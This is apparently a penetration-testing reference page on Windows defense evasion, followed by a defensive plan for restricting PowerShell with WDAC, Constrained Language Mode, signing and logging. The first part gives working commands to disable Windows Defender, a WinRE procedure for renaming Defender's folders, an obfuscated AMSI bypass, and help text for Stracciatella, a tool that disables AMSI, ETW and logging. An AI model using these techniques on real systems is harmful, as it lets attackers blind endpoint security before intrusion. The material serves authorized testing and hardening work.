Defense evasion
Antivirus / EDR
Disable Windows Defender
Set-MpPreference -DisableRealtimeMonitoring $true
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Reboot…or add an exclusion for C:\.
Disable Defender via Windows Recovery Environment (WinRE)
Boot into the advanced startup options and start Command Prompt.
If Windows Recovery only shows limited options and you can’t select Advanced options → Command Prompt, WinRE may be disabled.
Check whether the recovery environment is enabled:
reagentc /infoExample output:
Windows Recovery Environment (Windows RE) and system reset configuration
Information:
Windows RE status: Disabled
Windows RE location:
Boot Configuration Data (BCD) identifier: 2b278eaf-744a-11ef-a7e6-58cdc9cbe6b4
Recovery image location:
Recovery image index: 0
Custom image location:
Custom image index: 0
REAGENTC.EXE: Operation Successful.To enable WinRE, you can use:
reagentc /enableIf this fails with a message like "Windows RE cannot be enabled when BitLocker is enabled on this drive", disable BitLocker first, run reagentc /enable, and then re-enable BitLocker.
After that, boot into the advanced startup options again and disable Defender as needed.
In the WinRE command prompt, switch to the system drive with:
C:Then rename the relevant Windows Defender directories as required.
Directories to rename:
C:\Program Files\Windows Defender
C:\Program Files\Windows Defender Advanced Threat Protection
C:\Program Files (x86)\Windows Defender
C:\ProgramData\Microsoft\Windows Defender
C:\ProgramData\Microsoft\Windows Defender Advanced Threat ProtectionReboot:
exit # then choose "Continue"AMSI
PowerShell version
A "poor man’s" AMSI bypass for executing scripts and .NET content. This only applies to the current PowerShell session.
- Start PowerShell with relaxed execution policy (e.g.
powershell -executionpolicy bypass powershell.exe) or set it temporarily (e.g.Set-ExecutionPolicy Unrestricted). - Apply an AMSI bypass.
- Load your scripts.
$type = "System.Management."
$type += "Automation."
$type += "Am"
$type += "si"
$type += "Utils"
$field = "am"
$field += "si"
$field += "InitFailed"
$method = "Non"
$method += "Public"
$method += ",Static"
$util = [Ref].Assembly.GetType($type);
$failed = $util.GetField($field, $method);
$failed.SetValue($null, $true);Stracciatella
PowerShell runspace from within C# (aka SharpPick technique) with AMSI, ETW, and Script Block Logging disabled.^[https://github.com/mgeeky/Stracciatella]
Stracciatella.exe (Syslifters offsec-tools)
PS D:\> Stracciatella -h
:: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <mb@binary-offensive.com>
v0.7
Usage: stracciatella.exe [options] [command]
-s <path>, --script <path> - Path to file containing Powershell script to execute. If not options given, will enter
a pseudo-shell loop. This can be also a HTTP(S) URL to download & execute powershell script.
-v, --verbose - Prints verbose informations
-n, --nocleanup - Don't remove CLM disable leftovers (DLL files in TEMP and COM registry keys).
By default these are going to be always removed.
-C, --leaveclm - Don't attempt to disable CLM. Stealthier. Will avoid leaving CLM disable artefacts undeleted.
-f, --force - Proceed with execution even if Powershell defenses were not disabled.
By default we bail out on failure.
-c, --command - Executes the specified commands You can either use -c or append commands after
stracciatella parameters: cmd> straciatella ipconfig /all
If command and script parameters were given, executes command after running script.
-x <key>, --xor <key> - Consider input as XOR encoded, where <key> is a one byte key in decimal
(prefix with 0x for hex)
-p <name>, --pipe <name> - Read powershell commands from a specified named pipe. Command must be preceded with 4 bytes of
its length coded in little-endian (Length-Value notation).
-t <millisecs>, --timeout <millisecs>
- Specifies timeout for pipe read operation (in milliseconds). Default: 60 secs. 0 - infinite.
-e, --cmdalsoencoded - Consider input command (specified in '--command') encoded as well.
Decodes input command after decoding and running input script file.
By default we only decode input file and consider command given in plaintextWDAC / AppLocker
Concept for restricting PowerShell capabilities
Goal: restrict Microsoft PowerShell functionality on Windows clients and servers to reduce risk in case a Windows device is compromised.
Feasibility and practicality must be validated in a real rollout test before broad deployment.
Measures
Apply the following measures on all Windows clients and servers:
- Enable Constrained Language Mode via a WDAC policy.
- This restricts sensitive PowerShell features, making post-compromise privilege escalation harder from within a PowerShell session.
- Set Script Execution Policy to AllSigned.
- All scripts intended for execution must be signed.
- Note: this policy is easy to bypass and mainly prevents accidental execution of unsanctioned scripts.
- Enable Script Block Logging and Protected Event Logging.
- PowerShell commands are logged and protected via encrypted logging (requires decryption on a central log collector; if that doesn’t exist, Protected Event Logging can be skipped).
- Updates
- Ensure PowerShell version (>= 5) is installed.
- Disable PowerShell version 2
- PowerShell v2 lacks key security features such as Constrained Language Mode and can be used to bypass controls.
- PowerShell v3 and v4 can’t be started if PowerShell (>= 5) is installed, so no extra action is required for those versions.
- Antivirus
- Ensure scripts executed via PowerShell (including in-memory) are detected and blocked by AV.
Implementation notes
- Roll out WDAC (system requirement: Windows 10/11, Windows Server 2016+)
- Prepare a WDAC policy (e.g. "AllowAll.xml") in Audit Mode.
- Keep "Disable Script Enforcement" disabled so Constrained Language Mode is enabled on endpoints.
- Create/edit policies with the WDAC Policy Wizard: https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/design/wdac-wizard
- Convert XML policy to binary per WDAC deployment docs.
- Deploy via script (GPO rollout has known issues and supports only single-policy formats).
- Deployment reference: https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/deployment/deploy-wdac-policies-with-script#deploying-policies-for-windows-11-windows-10-version-1903-and-above-and-windows-server-2022-and-above
- Audit Mode initially does not enforce; it logs what would have been blocked. After rollout, analyze which scripts/apps would break.
- Sign scripts to allow execution in Full Language Mode
- Signed scripts can still run in Full Language Mode.
- Sign with a timestamp server so signatures remain trustworthy after the code signing cert expires (avoid availability risk).
- Deploy the CA certificate and code signing certificate to all clients and servers.
- Prepare a WDAC policy (e.g. "AllowAll.xml") in Audit Mode.
- Roll out PowerShell v5 and disable PowerShell v2 (if not already done).
- Enable antivirus (if not already done).
- Use GPO settings for:
- Script Block Logging (to analyze PowerShell usage).
- Execution policy AllSigned (ensure necessary scripts are signed; remember signed scripts run in Full Language Mode).
- Protected Event Logging (optional; roll out a public key for log encryption; do this last to simplify troubleshooting).
Regular effectiveness reviews
- Perform an effectiveness review after implementation (e.g., by an external assessor).
- Evaluate improvement opportunities annually and reassess settings (e.g., as part of a pentest or a dedicated review).